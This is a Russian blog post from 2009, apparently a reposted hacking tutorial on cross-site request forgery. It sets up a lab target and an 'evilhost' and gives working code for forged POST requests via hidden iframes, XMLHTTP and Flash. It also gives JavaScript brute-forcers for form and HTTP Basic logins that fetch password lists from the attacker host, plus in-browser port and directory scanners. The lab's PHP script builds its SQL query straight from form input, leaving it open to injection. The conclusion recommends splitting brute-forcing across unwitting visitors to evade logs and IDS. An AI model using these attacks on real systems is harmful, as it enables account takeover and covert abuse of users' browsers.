-Музыка

 -Поиск по дневнику

Поиск сообщений в helpdesk

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 26.05.2009
Записей:
Комментариев:
Написано: 758


CSRF – атаки. (Cross-Site Request Forgery)

Среда, 10 Июня 2009 г. 12:28 + в цитатник


CSRF расшифровывается как “Cross-Site Request Forgery” (Межсайтовая подделка запроса) . Данный тип атак направлен на имитирование запроса пользователя к стороннему сайту. Эта уязвимость достаточно широко распространена из за особенностей архитектуры большинства веб-приложений. А именно из-за того, что многие веб-приложения не чётко определяют - действительно ли запрос сформирован настоящим пользователем.

Как пример можно взять процедуру изменение профиля в IPB или phpBB - при изменении номера ICQ или адреса домашней странички у Вас не спрашивают ни пароля, ни кода с какой ни будь картинки. То есть единственное средство распознавания клиента – cookies или сессия (ну иногда ещё referer). Соответственно если с помощью определённого кода заставить браузер отправить нужный нам запрос на сторонний сайт, то запрос может вполне нормально пройти даже к тем скриптам, в которых нужна авторизация – ведь браузер при запросах к сайту отправляет ему и cookies. Главное чтоб пользователь заранее был авторизирован.

В свете того, что большую популярность приобретает технология AJAX, основывающаяся на формировании и отправке HTTP запросов на стороне пользователя, данная атака становится более распространённой и, возможно, в ближайшем будущем CSRF – уязвимость будет так же популярна как сейчас XSS.

Ниже мы будем рассматривать имитирование отправки запроса пользователем с помощью трёх способов:


* С помощью уже знакомого нам тэга 'IFrame'
* C помощью компонента XMLHTTP.
* С помощью Flash-ролика.




Мы будем работать с POST запросами. Думаю имитация GET-запроса не составит особого труда, хотя бы с помощью тэга <img>

Первый вариант может быть использован как с IE, так и с FireFox (думаю Opera тоже ругаться не станет). Что, в принципе нам только на руку. А вот со вторым вариантом есть один нюанс: FireFox не разрешает формировать запросы, с помощью компонента XMLHttpRequest, которые идут на другие сайты. То есть запросы с помощью данного компонента можно отправлять только в пределах одного домена.

Для практики мы соорудим один хост (targethost) который будет играть роль жертвы. Атакуемого и атакующего людей будем играть мы. Далее мы напишем скрипт который будет принимать POST-запросы и попробуем с другого сайта (evilhost) отправить запрос на целевой сайт. Приступим.

Создание тренировочной площадки.


Для начала создайте в Denver`e хост targethost. Он будет играть роль сайта, на который отправится поддельный запрос. Далее создайте в базе site (где у нас хранится таблица с новостями для тренинга в SQL-inj) таблицу messages с полями:

* sender – тип varchar, длинна 50.
* client – тип varchar, длинна 50.
* text – тип text

В эту таблицу будут помещаться сообщения, пришедшие от пользователя.

Теперь нам нужно написать скрипт который и будет принимать сообщения, и заносить их в базу. Вот его код (messenger.php):
 

PHP код:
<?php
// Функция показа формы отправки сообщения.
function mess_form(){
print 
"<form action=messenger.php method=POST>
From:<input name=from type=text><br>
To:<input name=to type=text><br>
<textarea name=body cols=10 rows=20></textarea><br>
<input type=submit>
</form>
"
;
// После показа формы прерываем выполнение скрипта
exit;
}
// Переменные нужные для подключения к БД.
// В переменную $pass поместите Ваш пароль для подключения
// к mysql
$db='site';
$user='root';
$pass=''// Сюда введите свой пароль для подключения к MySQL
$host='localhost';
// Если хотя бы одно из полей пусто то
// показываем форму отправки сообщения
if ($_POST['from']=='' || $_POST['to']=='' || $_POST['body']=='' mess_form();
// Если всё нормально - соединяемся с базой
$conn=mysql_connect($host,$user,$pass);
mysql_select_db($db);
// И вставляем в таблицу messages новое сообщение.
mysql_query("INSERT INTO messages(sender,client,text) VALUES('".$_POST['from']."','".$_POST['to']."','".$_POST['body']."')") or die(mysql_error());
// Закрываем соединение с базой.
mysql_close($conn);
// Выводим переданные данные на экран
print "<b>Сообщение отправлено.</b><br>";
print 
"<b>От:</b>".$_POST['from'];
print 
"<br><b>Кому:</b>".$_POST['to'];
print 
"<br><b>Текст:</b>".$_POST['body'];
?>


Для проверки работоспособности скрипта пройдите по ссылкеhttp://targethost/messenger.php
заполните форму и отправьте сообщение. Затем через PhpMyAdmin, или через обычный mysql-клиент, убедитесь в том, что сообщение нормально сохранилось в базе.
Тренировочная площадка работает. Теперь нужно сымитировать атаку.
Практика.

Действовать мы будет так: создадим на evilhost скрипт, который сформирует поддельный запрос и отправит его на targethost.
Сначала реализуем атаку с помощью IFrame. Для этого нам нужно будет включить в код странички тэг IFrame, а далее загрузить в него код формы, которая затем будет заполнена и отправлена. Мы создадим на сервере страничку с кодом формы и укажем её как документ для загрузки в IFrame. Код формы(form.html):

 

Код HTML:
<form action=http://targethost/messenger.php method=POST><input name=from type=text value=kuzya><br><input name=to type=text value=inattack.ru><br><input name=body type=text value=CSRFF><br><input type=submit></form>


Вот код основной странички(danger_iframe.html):
 

Код HTML:
<html><head><title>Danger Page (IFrame)</title></head><body><!—Фрейм невидимый, при его загрузке вызывается функция работы с формой--><iframe name='evilframe' src='form.html' style='display:none' onLoad=submit_form();></iframe></body></html>



Вот код функции submit_form() которая будет вызываться при загрузке фрейм:
 

PHP код:
 function submit_form(){
window.evilframe.document.forms[0].submit();


Как видите – в свойстве action нашей формы указан URL скрипта отправки сообщений и все поля заранее заполнены. Включите код этой функции в любой части странички между тегами <script></script>. Когда всё будет готово - обратитесь по адресу:http://evilhost/danger_iframe.html
При загрузке странички сработает JS-код и форма с данными отправится. Для большей убедительности проверьте - появилась ли новая запись в базе.
Далее на очереди компонент XMLHTTP.
Как я уже писал ранее – компонент XMLHTTP служит для формирования и отправки http-запросов на стороне клиента. В начале кода нам нужно определить данный компонент, затем указать необходимые для передачи данные, ну и осуществить этот запрос. Для начала определим пустую переменную browser и далее объявим её как нужный нам объект:
 

Цитата:
browser= new ActiveXObject("Microsoft.XMLHTTP");


Мы работаем с ActiveX только по тому что будем использовать IE. В Mozilla это будет выглядеть следующим образом: browser=new XMLHttpRequest; Затем нам нужно использовать метод open() нашего объекта browser что бы указать куда и каким методом мы будем слать данные. Далее в поле Content-type нашего запроса укажем что отсылаются данные, отправленные из формы. Ну и наконец, отправим запрос. Вот код нашей злонамеренной странички (danger_xmlhttp.html), в комментариях более подробные объяснения к коду:
 

Код HTML:
<html>
<head>
<title>Danger page!</title></head><body><script>
// Устанавливаем параметры которые мы будем передавать
var params="from=kuzya&to=inattack&body=csrf";
// Определяем переменную browser как компонент
// нужный для отправки запросов.
browser= new ActiveXObject("Microsoft.XMLHTTP");
// Обращаемся к нашему скрипту отправки сообщений
// и указываем метод передачи данных
(POST)browser.open("POST","http://targethost/messenger.php",true);
// Указываем тип отправляемых данных
browser.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// Отправляем параметры.browser.send(params);
</script></body></html>



Обратитесь к этой страничке и проверьте работу скрипта. Сообщение записалось в базу, всё ок!



Реализация отправки запросов через Flash.



Теперь давайте рассмотрим реализацию данной атаки с помощью Flash- ролика. Можно использовать старый ролик который мы использовали для практики XSS-нападений. Для атаки, как Вы наверное уже догадались, будем использовать ActionScript. Нас интересует методы формирования и отправки HTTP-запроса во Flash. Весь код мы будем сохранять в том же flash-ролике на котором ставили эксперименты связанные с XSS. Вот пример кода который осуществит GET-запрос:

Цитата:
var client:LoadVars=new LoadVars();
client.send("http://www.site.com/script.php?name=inattack","","GET");



Обратите внимание на параметры передаваемые методу send() - первый параметр это URI который надо запросить (http://www.site.com/script.php?name=inattack), второй параметр пуст, он отвечает за окно в котором будет отображён результат запроса – в нашем случае он будет отображён в этом же окне. А вообще второй параметр может принимать следующие значения:

* _self – аналог пустого параметра, результат запроса отображается в том же окне где отображался ролик.
* _blank - результат запроса отобразится в новом окне.
* _parent - результат отображается как родительский элемент текущего фрейма.
* _top - результат отображается во фрейме высшего уровня.

Теперь давайте разберёмся с осуществлением POST-запроса. Всё почти то же самое, только метод передачи данных меняется с GET на POST и добавляется новая строчка с методом decode(), он используется для обработки POST-данных. Давайте сымитируем запрос к нашему messenger.php:

Цитата:
var client:LoadVars=new LoadVars();
client.decode("from=kuzya&to=russian&body=inattack_team!");
client.send("http://targethost/messenger.php","","POST");


Пройдите по адресу
http://localhost/swf.html
И проверьте произошла ли запись в таблицу сообщений.

Несколько примеров реального применения CSRF-атак на практике.


Подделка запросов с сообщениями – это конечно хорошо, но это не все возможности CSRF-атак. Давайте рассмотрим возможности которые даёт нам компонент XMLHTTP. А возможности данного компонента очень широки. Вообще, когда я писал некоторые примеры из этой статьи то я хотел включить их в статью “XSS. Практические примеры.”, но в этот же день я заглянул на http://securitylab.ru и нашёл интересную статью про CSRF-атаки (http://www.securitylab.ru/analytics/292473.php). А понравилось мне следующее: автор утверждал, что с помощью вышеупомянутого компонента можно даже проводить сканирование портов. Это было интересно, но не было примеров кода который выполнит данную задачу. Соответственно хоть как то представить себе реализацию подобных атак было сложно. Для того, что бы и Вы не столкнулись с подобной проблемой, я решил собственноручно изучить некоторые методы атак с помощью XMLHTTP и описать их ниже.

Подбор пароля скрипту авторизации.

Ниже будет рассмотрен пример подбора пароля к скрипту, к которому данные передаются через форму.
Мы конечно же могли бы просто через iframe включать страничку формы в основной код страницы и отправлять её, заполнив определёнными данными, а далее искать в полученном коде определённые признаки удачной или не удачной авторизации.

Но в этом случае есть один неприятный момент – система безопасности браузера не позволит Вам обратится к коду фрейма у которого источник – сторонний сайт. То есть Вы в лучшем случае сможете проанализировать результат только визуально. Я хочу предложить способ немного сложнее но действеннее - с помощью компонента XMLHTTP отправлять POST-запросы к скрипту авторизации и анализировать полученный ответ.

Для тренировки мы будем использовать следующий скрипт который будет находится на хосте targethost(html_auth.php):
 

PHP код:
<?php
error_reporting
(0);
# Логин и пароль
$login='Kuzya';
$password='inattack';
# функция показа формы
function show_form(){
    print 
"<html>
    <head>
        <title>Test html-auth form.</title>
    </head>
    <body>
    <form action=html_auth.php method=post>
        <input type=text name=login>
        <input type=password name=password>
        <input type=submit>
    </form>
    </body>
    </html>"
;
}
    if (
$_POST['login']==$login && $_POST['password']==$password){
        print 
"Yes";
    } else {
        print 
"No";
        
show_form();
    }
?>


Как видите – логин: Kuzya, пароль:inattack. Если всё введено верно - скрипт выводит надпись “Yes”. Если же логин или пароль неверны - скрипт выведет “No” и отобразит форму. Ниже приведён код странички (html_auth_brute.html) которая хранится в корне evilhost.
Думаю комментариев внутри кода будет достаточно для понимания:

code:
<html>
<head>
<title>html-form bruter</title>
<script>
// Логин
var login="Kuzya";
// Массив с тремя паролями
var passwords = new Array();
passwords[0]="blah";
passwords[1]="inattack";
passwords[2]="hacking"
var browser = new ActiveXObject("Microsoft.XMLHTTP");
// Переменная в которой будет храниться текущий пароль
var now="";
// Функция подбора пароля
function brute(){
for (var i = 0; i <= passwords.length; i++){
// заносим в переменную now текущий пароль
now=passwords[i];
// Пытаемся авторизироваться с помощью функции tryLogin()
tryLogin(passwords[i]);
}
}
// Функция попытки авторизации
function tryLogin(pass){
// Указываем метод передачи данных и цель.
browser.open("POST","http://targethost/html_auth.php",false);
// Анализировать ответ будет функция analysfunc
browser.onreadystatechange=analysfunc;
// Изменяем заголовок content-type
browser.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Отправляем запрос
browser.send("login=Kuzya&password="+pass);
}
function analysfunc(){
// Если ответ пришёл и его содержимое – слово “Yes”
// то с помощью функции alert() выводим пароль, который хранится
// в переменной now.
if (browser.readyState==4 && browser.responseText=="Yes"){
alert(now);
}
}
</script>
</head>
<!--Как только страничка загружена вызываем функцию brute() -->
<body onLoad="brute();">
</body>
</html>



У Вас может возникнуть вопрос – “а почему пароли хранятся в массиве? Ведь вбивать гигобайтный словарь в код страницы это же самоубийство”. Вы рассуждаете правильно. На следующих примерах мы рассмотрим получение списка паролей с удалённого хоста.
Пожалуй, это самый простой пример который мы будем рассматривать на протяжении всей статьи.
Подбор пароля к страничке, защищённой http-авторизацией.

На данном примере Вы увидите как можно использовать компонент XMLHTTP не только в целях отправки фиктивных запросов. Давайте взглянем на список всех параметров которые должны передаваться методу open() этого компонента. Их всего 5:

* Метод. В данном параметре указывается метод передачи данных(GET,POST и т.д.).
* URI. Собственно адрес, куда будем обращаться.
* async. Не обязательный параметр. Данный параметр может иметь 2 значения: true или false. Если он установлен в true то выполнение кода странички будет продолжено после отправки запроса. Если же данный параметр равен false то скрипт заморозит работу до возврата сервером ответа на запрос. Конечно же, стоит данный параметр устанавливать в true что бы пользователь не обращал внимание на паузу. Но в некоторых случаях установка в false просто обязательна.
* username – имя пользователя нужно для авторизации (если страничка защищена).
* password – пароль для авторизации.

Так же нас интересует событие onreadystatechange. Дело в том что ответ от сервера возвращается не сразу. При изменении состояния объект XMLHTTP проходит 5 стадий, все они имеют цифровое обозначение:

* Не инициализировано
* Загрузка
* Загружено
* Ожидание
* Завершено

То есть, при каком либо запросе нужно дождаться пока состояние объекта станет равно 4, и тогда уже брать ответ.

Как Вы, наверное, уже догадались – мы просто будем подставлять логин и пароль в параметры запроса, и пробовать соединяться. Различать правильную и не правильную авторизацию мы будем по коду ответа веб-сервера. Если сервер вернул ответ с кодом 401 то мы не авторизировались. Если код ответа 200 то всё хорошо и пароль подобран. Так же мы будем использовать метод abort() компонента XMLHTTP. Данный метод нужен для обрыва http-запроса на любой стадии. Мы будем обрывать запрос как только получим код ответа сервера.

Для наших экспериментов мы будем использовать скрипт со следующим кодом, хранящийся на хосте targethost(auth.php):
PHP код:
<?php
$name
='Kuzya'// логин пользователя  (user login)
$pass='hack'// пароль пользователя (user password)
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)   {
   
header('WWW-Authenticate: Basic realm="TestAuth"');
   
header('HTTP/1.0 401 Unauthorized');
   exit(
"<b>Access Denied</b>");
   }
?>

Обратитесь к данной страничке и введите правильный пароль и логин для проверки. Если всё ок - должна появится пустая страничка. Перед рассмотрением кода нужно сказать о двух важных вещах:

* При запросах мы будем использовать метод HEAD.
* Для получения списка паролей мы будем запрашивать текстовый файл с хоста evilhost, а полученные текст разбивать на массив.

Список паролей будет хранится в файле passwords.txt в корне evilhost. Вот его содержимое:
Цитата:
pass
password
hacking
987654321
blah
123
qwerty
hack
kuzya
1234567890
funny
yandex

Теперь давайте взглянем на код нужный для подбора пароля(auth_brute_code.js). Для начала нужно объявить все нужные нам переменные:
Цитата:
// В массиве passwords хранятся пароли для перебора
var passwords = new Array();
// в переменной login хранится имя пользователя для перебора
var login="Kuzya";
//browser – переменная для XMLHTTP
var browser=null;
browser = new ActiveXObject("Microsoft.XMLHTTP");
// Переменная в которой будет храниться текущий пароль
var now = "";

Далее мы должны получить список паролей:
function getPasswordsList(){
// Запрашиваем файл passwords.txt
browser.open("GET","http://evilhost/passwords.txt",true);
// При изменении состояния компонента вызываем функцию checkPassList
browser.onreadystatechange=checkPassList;
browser.send(null);
}
function checkPassList(){
// Если ответ готов
if (browser.readyState==4){
// Полученный текст разбиваем на части и помещаем в массив passwords.
// Как разделитель используем знак переноса строки.
passwords=browser.responseText.split("n");
// После того как список паролей получен, вызываем функцию подбора.
AuthBrute();

}
}

еперь рассмотрим функции которые будут осуществлять подбор пароля:
Цитата:
/ pnumb – номер пароля в массиве.
function TryAuth(pnumb){
var pass = passwords[pnumb];
// Удаляем пустые символы которые образуются в результате разбиения // полученного текста на массив
pass=pass.replace(/s/g, "");
browser.open("HEAD","http://targethost/auth.php",0,login,pass);
// В переменную now заносим текущий пароль
now=passwords[pnumb];
browser.onreadystatechange=analfunc;
browser.send(null);
}
function analfunc(){
if (browser.status == '200'){
alert("Yes! Password is "+now);
}

}
// Функция осуществления подбора
function AuthBrute(){
for (var count=0; count <= passwords.length-1; count ++) {
TryAuth(count);
}
}

Данный скрипт должен располагаться в корне evilhost. Теперь нам нужно написать html-страничку на которой будет расположена 1 кнопка начинающая перебор. Она будет располагаться в корне evilhost. Вот её код (auth_brute.html):
Код HTML:
<html><head> <title>auth brute page!</title> <script src=auth_brute_code.js></script></head><body><!-- Первой вызываем функцию получения списка паролей --><!-- а она уже вызывает функцию перебора. --><input type=button onClick="getPasswordsList();" value="Brute!"></body></html>


Для проверки работоспособности скрипта пройдите по ссылке http://evilhost/auth_brute.html и нажмите на нашу кнопку. Как видите – наша задача выполнена, пароль подобран.


Осуществление сканирования портов с помощью компонента XMLHTTP.




Давайте посмотрим как можно осуществить сканирование портов с помощью вышеуказанного компонента. Как Вы помните – у этого компонента есть 5 состояний. Для сканирования мы будем применять обращения по адресам типа http://serverort. Давайте напишем код, который покажет нам через какие состояния проходит компонент при обращении к открытым и закрытым портам. Для этого мы напишем пару функций встроенных в страничку. Первая функция будет отправлять http-запрос на указанный хост и порт (на страничке мы сделаем форму), а вторая будет выводить на экран все свойства компонента. Вот код странички(port_scan.html):
Код HTML:
<html><head> <title></title> <script>
// Объявляем нужные переменные
var host = ""; var port = "";
var browser = null;
var main_div = null;
// Фунция сканирования порта
function scanPort(){// Берём данные из формы (хост/порт)
host = document.forms[0].host.value;
port = document.forms[0].port.value;
browser = new ActiveXObject("Microsoft.XMLHTTP");
browser.open("GET","http://"+host+":"+port, true);
browser.onreadystatechange=analysfunc; browser.send(null); }
// Функция которая покажет нам все этапы осуществления запроса
function analysfunc(){ main_div = document.getElementById("main_div");
main_div.innerHTML+=browser.readyState+"<br>";
if(browser.readyState==4){ main_div.innerHTML+="Status:"+browser.status+"<br>";
main_div.innerHTML+="Response:"+browser.responseText+"<br>";
main_div.innerHTML+="Status text:"+browser.statusText+"<br>"; } }
</script></head><body>
<form>Host:<input type=text name=host value=localhost>
<br>Port:<input type=text name=port>
<br><input type=button onClick=scanPort();
value=scan></form><hr><div id=main_div></div></body></html>
Я разместил данную страничку на localhost`е. Посмотрим что же у нас получилось. Пройдите по ссылке http://localhost/port_scan.html и укажите, например, порт 3306 (MySQL).
Теперь обратимся на какой-либо закрытый порт, например 28796:
Как видите ответ тот же. Это немного озадачивает. Состояния портов разные – ответы одинаковые. Но Вы наверное заметили что при обращении к закрытому порту ответ (а именно изменение readyState с 1 на 4) шёл на много дольше чем при обращении к порту MySQL. Именно это отличает закрытый порт от открытого. Этим мы и будем руководствоваться. Для анализа состояния порта нам нужно примерно через секунду проверить ответ. А точнее значение свойства readyState. Для этого мы при отправке запроса запустим таймер, который через секунду вызовет функцию check(). Эта функция в зависимости от значения readyState будет сообщать нам – открыт порт или закрыт. Ниже приведён полный код port_scan.html который должен получиться в итоге:
Код HTML:
<html><head> <title></title> <script>
var host = ""; var port = ""; var browser = null;
var main_div = null;
var answer = 0; function check(){ if (browser.readyState == 4){alert("open!");
} else {alert("close!"); } }
function scanPort(){ host = document.forms[0].host.value;
port = document.forms[0].port.value;
browser = new ActiveXObject("Microsoft.XMLHTTP");
browser.open("GET","http://"+host+":"+port, true);
browser.onreadystatechange=analysfunc; browser.send(null);
// Заводим таймер на 1 секунду
var t = window.setTimeout(check,1000); }
function analysfunc(){ main_div = document.getElementById("main_div");
main_div.innerHTML+=browser.readyState+"<br>";
if(browser.readyState==4){ main_div.innerHTML+="Status:"+browser.status+"";
main_div.innerHTML+="Response:"+browser.responseText+"";
main_div.innerHTML+="Status text:"+browser.statusText+""; } }
</script></head><body>
<form>Host:<input type=text name=host value=localhost><br>
Port:<input type=text name=port><br>
<input type=button onClick=scanPort();
value=scan></form><hr><div id=main_div></div></body></html>
 


И при сканировании порта 56987
Теперь у Вас есть собственный сканер портов на JS.


Простейший cgi-сканнер основанный на XMLHTTP.



Сейчас мы напишем самый простенький cgi-сканнер который будет работать следующим образом:

* Получать с удалённого/локального хоста список директорий для сканирования.
* Запрашивать все эти директории по очереди.

Для начала нам нужно составить список опрашиваемых директорий/файлов. У меня он имеет следующее содержание(dirlist.txt):
Цитата:
cgi-bin/
robots.txt
admin/
test/
cards/
blah/
dir/

Вы можете взять этот список или же составить свой. Главное что бы около половины директорий/файлов были созданы на хосте targethost (именно его мы и будем сканировать). Файл с данным списком сохраните в корне хоста evilhost. Теперь возьмёмся за кодинг. Для начала нам надо написать функцию которая запросит dirlist.txt и разобьёт его на массив. Действовать будем так же как и при подборе пароля к http-авторизации(cgi_scan.js)
Цитата:
// Массив для списка сканируемых обьектов
var dirlist = new Array();
var browser = new ActiveXObject("Microsoft.XMLHTTP");
// В этой переменной будет лежать имя директории/файла
// сканируемого в данный момент
var now = "";
function getDirList(){
browser.open("GET","http://evilhost/dirlist.txt",false);
browser.onreadystatechange=analysfunc;
browser.send(null);
}

function analysfunc(){
if (browser.readyState==4 ){
// Разбиваем полученный ответ на массив
dirlist = browser.responseText.split("n");
}
}

Дальше на очереди сам код проводящий сканирование, всего 3 функции:

* StartScan()
* scan()
* checkscan()

Первая функция StartScan() будет запускать цикл сканирования портов. scan() – функция которая производит сканирование.
Цитата:
function StartScan(){
for (var i=0; i<=dirlist.length-1; i++){
scan(i);
}
}


Функция scan отвечает только за отправку запроса. Этой функции мы будем передавать переменную num в которой будет храниться номер ячейки массива dirlist – объект который нужно запросить.
Цитата:
function scan(num){
// в переменную now заносим имя файла/папки сканируемого в данный момент.
now=dirlist[num];
browser.open("GET","http://targethost/"+dirlist[num],false);
// При изменении состояния запроса вызываем функцию checkscan
browser.onreadystatechange=checkscan;
browser.send(null);
}

Как Вы наверное уже догадались, функция checkscan() проверяет код ответа как только от сервера придёт ответ. Если ответ сервера не 404 то функция выведет имя папка/файла и код ответа.
Цитата:
function checkscan(){
if (browser.readyState==4 && browser.status!==404){
var main_div=document.getElementById("main_div");
main_div.innerHTML+=now+":"+browser.status+"<br>";
}
}

А вот код html-странички которая произведёт вызов всех нужных функций(cgi_scanner.html):
Код HTML:
<html><head> <script src=cgi_scan.js ></script></head><body onLoad="getDirList();StartScan();";><div id="main_div"></div></body></html>

Сохраните её в корне evilhost. Для тестирования скрипта я создал на хосте targethost папки admin, test и файл robots.txt. Пройдите по ссылке http://evilhost/cgi_scanner.html для проверки скрипта.
Заключение.






В заключение хотелось бы сказать о том что данные атаки очень опасны и при правильном подходе их почти не возможно обнаружить. А если написать скрипт который при обращении к нему будет выдавать не целый список паролей, а всего лишь 2-3 пароля? Получается что браузер каждого, зашедшего на опасную страничку, пользователя будет перебирать всего по 2-3 пароля, и постоянно с новых и новых IP. Подбор конечно будет длится долго, но вот и несколько плюсов данного подхода:

* запись в логах о 300 неудачных авторизациях подряд выглядит более подозрительной чем запись о 2-3 неудачных попытках ввести правильный пароль.
* Пользователь может заподозрить неладное заметив, что строка состояния браузера отображает загрузку документа минут 5.
* Пройдя на опасную страничку, пользователь может через 2-3 секунды кликнуть на любую ссылку и, соответственно, пропасть из опасной зоны. Получается что при таком условии подбор за раз 20-30 паролей не сработает, а вот перебор трёх паролей возможно успеет пройти.
* Многие IDS могут ругаться на то, что пользователи пытаются авторизироваться неудачно и с коротким промежутком времени между попытками. А если разбросать лист паролей на кучу пользователей? При 40 посещениях в день атаку можно растянуть на пару дней, но она всегда будет в тени.
*
o Если Вы спланировали перебор по словарю, размер которого 300-400 мб, то:
o очень много уйдёт времени на загрузку словаря у клиента (к моменту конца загрузки пользователь может покинуть опасную страницу).
o Пользователь, заметив в свойстве соединения пару сотен лишних мегабайт покинет страницу моментально и наврятли его туда можно будет снова заманить.


При распределении большого количества паролей между большим количеством пользователей расход трафика резко снижается.
Рубрики:  полезная информация
Метки:  

 

Добавить комментарий:
Текст комментария: смайлики

Проверка орфографии: (найти ошибки)

Прикрепить картинку:

 Переводить URL в ссылку
 Подписаться на комментарии
 Подписать картинку